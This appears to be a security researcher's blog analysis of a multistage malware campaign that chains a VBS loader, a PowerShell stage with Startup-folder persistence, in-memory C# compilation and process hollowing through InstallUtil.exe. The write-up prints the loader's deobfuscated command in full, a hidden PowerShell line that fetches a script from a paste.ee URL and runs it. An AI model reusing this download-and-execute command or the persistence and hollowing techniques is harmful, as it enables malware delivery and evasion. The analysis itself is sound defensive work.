Analysis: Multistage campaign leveraging VBS, PowerShell, .NET Framework/C#
Let’s take a look at samples found (not so recently..) in an email campaign.
Stage 1 / Loader
The campaign was based in a Google Drive link contained in the email body which delivers the 1st Stage of the infection chain. That is, a .vbs file trying to “hide”/evade detections via the double extension trick as it was named 4Pax Trip Details.pdf.vbs.
The delivery link was the following:
hxxps://drive.google[.]com/file/d/1Qh4AyksQTNCJm3z3lE_MWhOaX9Hz5B6q/view
which redirects to:
hxxps://drive.google[.]com/uc?id=1Qh4AyksQTNCJm3z3lE_MWhOaX9Hz5B6q&export=download
It is worth noting, the file name indicates a lure based on Vacation/Tour packages which can help us pivot/link (albeit weakly) to past campaigns/actors, as well as future ones. Many similar links and file names were identified via urlscan.
The vbs file contains the following code:
Looking at the above code, we spot the long string assigned in the declared variable “JAVA” (note: partial string is presented in the screenshots above). Based on this and the fact this is a Loader and vbs code, one should jump to the thought of this being either a “race” of replacement(s) or a garbage part of the Loader.
Skimming through the second part, it appears that the replacement statement stands correct on this one:
Everything = HTTP4 + HTTP8 + HTTP7 + HTTP3 + HTTP5 + HTTP1 + HTTP6 + HTTP2 + Replace(JAVA, "MKLP0964ASDZXDQWRTCBBGHHYTQADSDFGHJKLMBVXZWRTYI97215609832456777YGFEDFGFDR=BGDFDRFEQQAXZVBFTYGMGHBJGUGJGYGRESFD2569875DUYTRDFGFDE45653ER8765678IHGRFGHGFTYGFDREWSFREWSEGBHIOPLKJMNBVFRTFCV+KJHFTYUIU7654EDGHGFDE456543EFGUHGFTYJHDEWQASZXCFGBVCFTYUJKOPLKMNBHG8765432WER90IUHGYUR098765432176543212MNBVXSERTGHGCXSWQ12345678UGFDEWQAZXZSAQWEDFCVFGR4THNHYUIKJIOPLKMNMBVCXSAQWERTFCXSAQWERTYU7654323456789UYTSWSZXCVGHVCXSWEDSWQAZXFGVCXSERTHJHGFDRTYUJHGFDER5T67U654EWSDCVBHJUY65TREDFGHJUIHGFDR567UGREWQ12345678909876TGHBVCXSWERTGFDSAZXCVBVFRT6YUJMJI9OIKJHGFR567YHGFDSEWSXCVBHJBVCFDRTYHUJYTREDCVBHJGFDERTYUHGBVCFDEWSDCGHJHGFDCVBHGYUJHGFYUJ", "")
Then we replace the occurences of the second argument in the Replace function - part of the concatenation of assignment of the “Everything” variable - in the “JAVA” string with nothing ("").
The above reveals a snippet downloading a PowerShell script from paste.ee
.
To follow, we “unchain” all the other parts of “Everything” variable; the HTTP parts. This leads us to this result:
Everything = "PowerShell -NoLogo -ExecutionPolicy Bypass -Command [System.Net.WebClient] $UserClient = New-Object System.Net.WebClient;$UserClient.DownloadFileTaskAsync('https://paste.ee/r/gk49i/0', 'C:\Users\Public\Handler64Bits.PS1');PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\Handler64Bits.PS1"
As for the last part, Youtube variable (tubeloader?!), the replacements give the following line of code:
Set Youtube = GetObject(new:72C24DD5-D70A-438B-8A42-98424B88AFB8)
This instantiates a specific COM Object, WScript.Shell 1 2. Then its method Run is called, with which one can run another application. The application here (first parameter) is PowerShell defined by the string command that resides on Everything variable. The second parameter defines the window style/appearance and is set to 0; the window will be hidden.
So, the execution Youtube.Run Everything, 0 is:
Youtube.Run "PowerShell -NoLogo -ExecutionPolicy Bypass -Command [System.Net.WebClient] $UserClient = New-Object System.Net.WebClient;$UserClient.DownloadFileTaskAsync('https://paste.ee/r/gk49i/0', 'C:\Users\Public\Handler64Bits.PS1');PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\Handler64Bits.PS1" , 0
This will download the 2nd Stage payload from paste.ee, save it on C:\Users\Public\Handler64Bits.PS1 and run it.
Stage 2
Yet another actor leverages sites such as “paste.ee” to spread malware; most commonly used for the 2nd and 3rd stages of an infection chain.
The download script is depicted in the below screenshots:
So, the downloaded PowerShell script with a first glance contains two large byte arrays. Let’s leave them on the side a bit and focus on the functions and the last lines of the code.
After getting a decent grasp of the overall behavior here, we should try to tackle things one by one.
The actual execution flow is on the last three lines of code. The INSTALL function is called first. So we jump right there and start from the (small) byte array and its related variable $VBSRun.
Generally, in malicious PowerShell code, most often than not we want to concentrate on possible decodes and decompressions as those will help us “unlock” faster and easier the results of the malice.
Consequently, it is about time we either launch a PowerShell prompt or go to LabStack which can prove really helpful and is a wonderful resource overall. We can then test parts of the code and when needed “print” the results to console to see the outcome, such as this particular decoding of the byte array to a String representation.
The aforementioned code becomes something like this:
A short VBScipt code appears, creating the same COM object as seen previously - WScript.Shell - to perform a PowerShell file execution.
The WriteAllText function will create a wrapper file of sorts, to persist via Windows Startup folders, running the 2nd Stage itself - the PowerShell script under current examination - C:\Users\Public\Handler64Bits.PS1.
Essentially, the VBScript code will be written to a newly created file under:
C:\Users\{User}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HandlerUpdate64Bits.vbs
{User} used as a placeholder
That is because GetFolderPath() 3 (see Fig.10) gets the path to the system special folder which is identified by the specified enumerator 4 and passed as an argument, in our case number 7:
The “main” function: CodeDom
Wrapping up with the INSTALL function and returning to the flow we quickly observe (see Fig.9) that the malware sleeps for 1000 milliseconds aka 1 second. The next step there is the execution of the function named CodeDom; this is the pivotal/“main” function for Stage 2. Inside CodeDom the function Decompress is called and right after, a compilation of sorts takes place (more on that later). Thus, it is important to check it and as we progress we can go back and forth to the other function as needed.
Passed arguments to CodeDom
On the screenshots above we map the actual arguments to the expected/types of arguments that the function CodeDom expects. The first mapping gets the byte array displayed in Fig.7, $RUNPE, which based on name and type implies the possibility of an executable being passed on.
I initially used code.labstack.com but by now this site seems to have disabled the previously available functionality - online compilers/interpreters for multiple languages/frameworks; despite that I still think it deservers a shoutout as it was awesome!
So to demonstrate the decompression I wrote a simple assisting script:
and run it locally. The output is the following:
Alas! Here is our 3rd Stage! This is C# source code, which I find really interesting. From here on we can dive into this next stage but I would like to poke around a bit more in order to understand better the calls that are made in the current stage (no. 2).
Let’s continue, based on Fig.13, on line 47 the $CompilerResults variable is going to keep the compilation results returned from CompileAssemblyFromSource function with arguments the specified compile parameteres (lines 36 through 45) and the aforementioned byte array which was decompressed into source code and is going to be default encoded and passed as a string. One of the returned results is the generated assembly, stored in the $CompilerResults.CompiledAssembly property.
After that, in line 49, we observe another byte array, $Bytes, that needs to be decompressed. We are going to use again the script depicted in Fig.14 and the result is another byte array with decimal base, possibly corresponding to a binary payload.
Now in play comes the awesome tool from Hasherezade: convert.py. Placing as an infile the above byte array and the number base as decimal we get our last malicious payload!
Let’s also put this on the side for a bit.
The remainder of the 2nd Stage code can be observed below with my comments/replacements added:
Going back to Fig.13 and the compilation aspect, the CompilerParametres that are set specify no executable generation and generation of the code in memory 5. So, an in-memory class library will be created. After that, $T variable is going to be populated. Now, in Fig.17 on the return statement we will have an invocation of the Execute method of the Kamikazi class (3rd Stage) and parameteres $null and an object array named $Params containing the path to InstallUtil.exe 6 as well as the previously identified $Bytes byte array. The object array contains the actual parameteres for the invoked method.
Stage 3
Continuing where we left off, let’s illustrate a portion of the “Execute” method for better clarity:
To recap, “C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe” is passed as the first argument on path and the byte array $Bytes as the second argument on payload.
In line 116 of Fig.18, CreateProcessA is called. Let’s see how it is defined:
1BOOL CreateProcessA(
2 [in, optional] LPCSTR lpApplicationName,
3 [in, out, optional] LPSTR lpCommandLine,
4 [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
5 [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
6 [in] BOOL bInheritHandles,
7 [in] DWORD dwCreationFlags,
8 [in, optional] LPVOID lpEnvironment,
9 [in, optional] LPCSTR lpCurrentDirectory,
10 [in] LPSTARTUPINFOA lpStartupInfo,
11 [out] LPPROCESS_INFORMATION lpProcessInformation
12);
In our case, this maps out as:
1lpApplicationName --> path --> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
2lpCommandLine --> "" --> No command line
3lpProcessAttributes --> IntPtr.Zero --> null (When calling the Windows API from managed code, you can pass IntPtr.Zero instead of null if an argument is expected to be either a pointer or a null.) --> The handle to the new process cannot be inherited
4lpThreadAttributes --> IntPtr.Zero --> null (same as above) --> The handle to the new thread cannot be inherited
5bInheritHandles --> false --> Inheritable handles are not bInheritHandles
6dwCreationFlags --> 4 | 134217728 --> CREATE_SUSPENDED (Possible process Hollowing) | CREATE_NO_WINDOW
7lpEnvironment --> IntPtr.Zero --> null (same as previously) --> The new process uses the environment of the calling process
8lpCurrentDirectory --> null --> The new process will have the same current drive and directory as the calling process
9lpStartupInfo --> ref SI --> Pass SI by reference (Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time)
10lpProcessInformation --> ref PI --> Pass PI by reference (A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process)
If we combine the above information the goal seems clear here; it is to execute the actual payload as being “dubbed” InstallUtil.exe. The process creation of InstallUtil.exe is launched in suspended state and then it is “carved out” and “refilled” to execute the payload (payload variable). The technique used here is “Process Hollowing”.
Out of this the final payload (payload/$Bytes/Fig.16), or 4th stage if you may, will be launched.
Conclusion
This is a campaign I saw a good long time ago by now. It was really interesting due to various samples, languages involved in the stages and was a bit unique, no Office documents etc, when back then the documents still were on the peak of initial intrusion chains.
The 4th Stage (Fig.16) might be analyzed in a separate post down the line due to size and time consumed for this post.
PS: As the first attempt to write publicly on such a topic, I tried to depict the entirety of the chain with as much detail as possible and provide (fast) analysis tips/avenues in parallel. It might got mixed up too much trying to find a balance. Also, time constraints prolonged the writing and publishing of this article. I had to comeback many times and re-read/re-analyze things which proved to be quite tedious. Shoutout to anyone writing such stuff despite the hectic schedules, you are awesome! In any case, any constructive feedback will be greatly appreciated and I hope you enjoyed it.
References:
-
https://strontic.github.io/xcyclopedia/library/clsid_72C24DD5-D70A-438B-8A42-98424B88AFB8.html ↩︎
-
https://learn.microsoft.com/en-us/dotnet/api/system.environment.getfolderpath?view=netframework-4.0 ↩︎
-
https://learn.microsoft.com/en-us/dotnet/api/system.environment.specialfolder?view=netframework-4.0 ↩︎
-
https://learn.microsoft.com/en-us/dotnet/api/system.codedom.compiler.compilerparameters?view=netframework-4.0 ↩︎
-
https://strontic.github.io/xcyclopedia/library/InstallUtil.exe-5D4073B2EB6D217C19F2B22F21BF8D57.html ↩︎